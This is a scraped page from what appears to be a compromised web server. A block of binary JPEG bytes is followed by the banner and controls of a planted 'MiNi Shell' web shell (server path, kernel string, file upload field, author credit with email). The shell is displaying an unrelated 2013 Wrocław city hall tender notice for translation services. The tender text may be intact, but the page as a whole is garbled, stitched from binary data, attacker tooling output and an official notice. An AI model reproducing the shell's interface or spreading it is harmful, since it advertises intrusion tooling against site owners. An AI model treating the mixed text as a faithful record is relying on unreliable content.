JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20130226/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20130226/78966-N-2013.html

<p class="kh_header"><b>Wrocław: Tłumaczenia pisemne  i ustne wraz z obsługą techniczną dla Urzędu Miejskiego Wrocławia</b><br>
<b>Numer ogłoszenia: 78966 - 2013; data zamieszczenia: 26.02.2013</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Gmina Wrocław Urząd Miejski Wrocławia , pl. Nowy Targ 1-8, 50-141 Wrocław, woj. dolnośląskie, tel. 71 7779230, 7779231, faks 71 7779229.</p>
<ul class="kh_indent_1">
</ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Tłumaczenia pisemne  i ustne wraz z obsługą techniczną dla Urzędu Miejskiego Wrocławia.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest usługa tłumaczeń pisemnych i ustnych wraz 
z obsługą techniczną (z języka polskiego na język obcy i z języka obcego na język polski) dla Urzędu Miejskiego Wrocławia realizowane na terenie Wrocławia. 

Tłumaczenia pisemne oraz ustne dotyczyć będą w szczególności obszarów tematycznych związanych z realizacją zadań jednostki samorządu terytorialnego w zakresie wydawania dowodów osobistych, prawa jazdy, promocji przedsiębiorczości, programów edukacyjnych, projektów finansowanych ze środków unijnych, ochrony środowiska, zdrowia 
i bezpieczeństwa, prawa, finansów, gospodarki, oświaty, handlu, rewitalizacji, zagospodarowania przestrzennego i innych zadań regulaminowych wykonywanych przez Zamawiającego. Niezbędna jest znajomość słownictwa z zakresu zasad funkcjonowania Wspólnot Europejskich oraz praktyka w korzystaniu z materiałów źródłowych Komisji Europejskiej i Parlamentu Europejskiego.

Rodzaje dokumentów do tłumaczenia: umowy, raporty, dokumenty finansowo-księgowe, opracowania planistyczne, broszury dla przedsiębiorców, materiały konferencyjne, sprawozdania z wykorzystania środków unijnych, dokumenty bankowe i inne dokumenty urzędowe.
Tłumaczenia pisemne zwykłe oraz tłumaczenia pisemne uwierzytelnione pieczątką tłumacza przysięgłego  dotyczyć będą następujących grup językowych:
grupa I - rosyjski, angielski, niemiecki, francuski (tłumaczenia na język polski i na język obcy)
grupa II -  pozostałe języki europejskie, w tym grecki i czeski (tłumaczenia na język polski i na język obcy)
grupa IV - m.in. język chiński, koreański, japoński (tłumaczenia na język polski i na język obcy)
Termin realizacji tłumaczenia pisemnego zwykłego i uwierzytelnionego pieczątką tłumacza przysięgłego uzależniony jest od ilości stron dokumentacji przekazanej do tłumaczenia. Tłumaczenia pisemne odbywać się będą odpowiednio w trybie:
1)zwykłym - do 10 stron dokumentacji dziennie - grupa I, II, IV (termin wykonania usługi - do 1 dnia roboczego)
2)zwykłym - od 11 do 50 stron dokumentacji - grupa I, II, IV (termin wykonania usługi - do 3 dni roboczych)
3)zwykłym - od 51 stron dokumentacji - grupa I, II, IV (termin wykonania usługi 
- do 5 dni roboczych, liczonych od dnia doręczenia dokumentacji do tłumaczenia)
4)ekspresowym - do 10 stron dziennie - grupa I i II,IV (termin wykonania usługi 
- do 12 godzin)
5)weryfikacja tłumaczenia przez native speakera - szacowana ilość zleceń nie przekroczy 0,5 % łącznej ilości tłumaczeń w zakładanym zakresie i okresie. Cenę za usługę weryfikacji tłumaczenia przez native speakera należy przyjąć jak za tłumaczenie zwykłe lub ekspresowe, w zależności od terminu realizacji tłumaczenia. 
Tłumaczenia ustne dotyczyć będą I, II i IV grupy językowej i będą to tłumaczenia symultaniczne bądź konsekutywne. Tłumaczenia ustne realizowane będą na podstawie zamówień składanych w dowolnej formie (za pośrednictwem faksu, telefonicznie lub drogą elektroniczną) przez osoby do tego upoważnione najpóźniej do godziny 16.00 dnia poprzedzającego termin wykonania usługi. Zamawiający dopuszcza możliwość zgłaszania zamówienia do 3 godzin przed planowanym terminem spotkania pod warunkiem, że ich ilość nie przekroczy 5% szacowanych zamówień. Zamówienia składane telefonicznie zostaną niezwłocznie potwierdzone w formie pisemnej (droga elektroniczną lub za pośrednictwem faksu). Przy każdorazowym składaniu zamówienia zostanie określony rodzaj języka, temat, adres oraz przybliżony czas trwania spotkania. Zamawiający dopuszcza możliwość zmiany wcześniej podanego terminu, a także ma prawo do rezygnacji 
z zamówienia. Gdy Zamawiający poinformuje o tym fakcie Wykonawcę w dniu realizacji zamówienia, Wykonawca ma prawo do pobrania opłaty dodatkowej w wysokości 50 % ustalonej stawki za tłumaczenia ustne - konsekutywne..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> tak.</p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>Zamawiający przewiduje udzielenie zamówień uzupełniających w rozumieniu art. 67 ust. 1 pkt 6 ustawy Pzp.</li></ul>
<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Wykonawca zobowiązany jest do wniesienia wadium w wysokości: 
1.000,00 zł (słownie złotych: jeden tysiąc 00/100),</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający stwierdzi, iż Wykonawca spełnił warunki określone w art. 22 ust. 1 ustawy Pzp, jeśli w szczególności wykaże on, że:
W ZAKRESIE WIEDZY I DOŚWIADCZENIA:
w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał lub wykonuje z należytą starannością:
a)	co najmniej 5 usług w przedmiocie tłumaczeń pisemnych o wartości nie mniejszej niż 10 000 PLN brutto każda,
b)	co najmniej 5 usług obsługi tłumaczeniowej symultanicznej konferencji lub spotkań międzynarodowych 
Uwaga dot. punktu a) i b)
Wykonawca może wykazać się realizacją zamówień wykonanych w ramach kilku odrębnych umów bądź w ramach jednej umowy na rzecz jednego kontrahenta, 
z zastrzeżeniem że w Wykazie usługi te, ujęte zostaną odrębnie)</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający stwierdzi, iż Wykonawca spełnił warunki określone w art. 22 ust. 1 ustawy Pzp, jeśli w szczególności wykaże on, że:W ZAKRESIE DYSPONOWANIA OSOBAMI ZDOLNYMI DO WYKONANIA ZAMÓWIENIA: 
2) dysponuje osobami zdolnymi do wykonania zamówienia, tj. zespołem tłumaczy składającym się z co najmniej::
a)	3 tłumaczy języka angielskiego, w tym jeden tłumacz przysięgły,
b)	2 tłumaczy języka francuskiego, w tym jeden tłumacz przysięgły,
c)	2 tłumaczy języka niemieckiego,
d)	1 tłumacz języka rosyjskiego.
Uwaga:
Tłumacze przysięgli muszą posiadać stosowne uprawnienia do wykonywania zawodu tłumacza przysięgłego oraz być wpisani na listę tłumaczy przysięgłych prowadzoną przez Ministra Sprawiedliwości zgodnie z ustawą z dnia 25 listopada 2004r. o zawodzie tłumacza przysięgłego (Dz. U. Nr 273, poz. 2702 ze zm.)
Tłumacze muszą posiadać kwalifikacje zawodowe tj. biegłą znajomość danego języka, wynikającą np. z ukończenia studiów wyższych w zakresie danego języka, kursów, szkoleń, posiadania stosownych certyfikatów itd., oraz co najmniej 2 letnie sumaryczne doświadczenie w tłumaczeniach.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający stwierdzi, iż Wykonawca spełnił warunki określone w art. 22 ust. 1 ustawy Pzp, jeśli w szczególności wykaże on, że: W ZAKRESIE SYTUACJI EKONOMICZNEJ I FINANSOWEJ
3) jest ubezpieczony od odpowiedzialności cywilnej w zakresie  prowadzonej działalności związanej z przedmiotem zamówienia,  na kwotę nie mniejszą niż 50.000 zł</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

<li  style="margin-bottom: 12px;">opłaconą polisę, a w przypadku jej braku inny dokument potwierdzający, że wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1.Lista podmiotów należących do tej samej grupy kapitałowej o której mowa w art. 24 ust. 2 pkt 5 ustawy Pzp, albo informację o tym, że nie należy do grupy kapitałowej-(w formie oryginału),
2. W przypadku polegania na wiedzy i doświadczeniu innego podmiotu - w szczególności pisemne zobowiązania innych podmiotów do oddania Wykonawcy do dyspozycji niezbędnych zasobów z zakresu wiedzy i doświadczenia na okres korzystania z nich przy wykonywaniu zamówienia (w formie oryginału),
3.W przypadku polegania na osobach zdolnych do wykonania zamówienia innego podmiotu - w szczególności pisemne zobowiązania innych podmiotów do oddania Wykonawcy do dyspozycji niezbędnych zasobów osobowych na okres korzystania z nich przy wykonywaniu zamówienia (w formie oryginału),
4. Zamawiający informuje, iż w zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 us.1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, wskazanym w niniejszym ogłoszeniu III.4.1) należy przedłożyć, zamiast wskazanego powyżej (wykazu usług):wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie
5. Ponadto, w zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, wskazanym w niniejszym ogłoszeniu III.4.2) należy przedłożyć, zamiast wskazanego powyżej (aktualnego odpisu):	aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy Pzp, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielanie zamówienia albo składania ofert.</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zamawiający informuje, iż przewiduje możliwość zmiany postanowień zawartej umowy       w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy,                      w przypadku wystąpienia co najmniej jednej z okoliczności wymienionych poniżej,                    z uwzględnieniem  podawanych warunków ich wprowadzenia:

1)	W przypadku zmiany obowiązującej stawki podatku VAT, Zamawiający dopuszcza możliwość zmniejszenia lub zwiększenia wynagrodzenia o kwotę różnicy w kwocie podatku VAT. Strony dokonają odpowiedniej zmiany wynagrodzenia umownego 
- dotyczy to części wynagrodzenia za usługi tłumaczeniowe, których w dniu zmiany stawki podatku VAT jeszcze nie wykonano,
2)	w innych sytuacjach, których nie można było przewidzieć w chwili zawarcia umowy                   i mających charakter zmian nieistotnych tj. nie odnoszących się do warunków, które gdyby zostały ujęte w ramach pierwotnej procedury udzielania zamówienia, umożliwiłyby dopuszczenie innej oferty niż ta, która została pierwotnie dopuszczona,
3)	zmiany unormowań prawnych powszechnie obowiązujących, które będą miały wpływ na realizację umowy,
4)	gdy zmiany są korzystne dla Zamawiającego. 

Przewidziane powyżej okoliczności stanowiące podstawę zmian do umowy, stanowią uprawnienie Zamawiającego nie zaś jego obowiązek wprowadzenia takich zmian. 

Nie stanowi zmiany umowy w rozumieniu art. 144 ustawy Pzp: zmiana danych związanych z obsługą administracyjno-organizacyjną Umowy, zmiany danych teleadresowych, zmiany osób wskazanych do kontaktów między Stronami.

Wszelkie zmiany muszą być dokonywane z zachowaniem przepisu art. 140 ust. 1              i art. 140 ust. 3 ustawy Pzp stanowiącego, że umowa podlega unieważnieniu w części wykraczającej poza określenie przedmiotu zamówienia zawartego w Specyfikacji  Istotnych Warunków Zamówienia.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.wroclaw.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd Miejski Wrocławia - Wydział Zamówień Publicznych
Al. Kromera 44
51-163 Wrocław
pok. nr 138.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 06.03.2013 godzina 12:00, miejsce: Urząd Miejski Wrocławia - Wydział Zamówień Publicznych
Al. Kromera 44
51-163 Wrocław
pok. nr 138.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com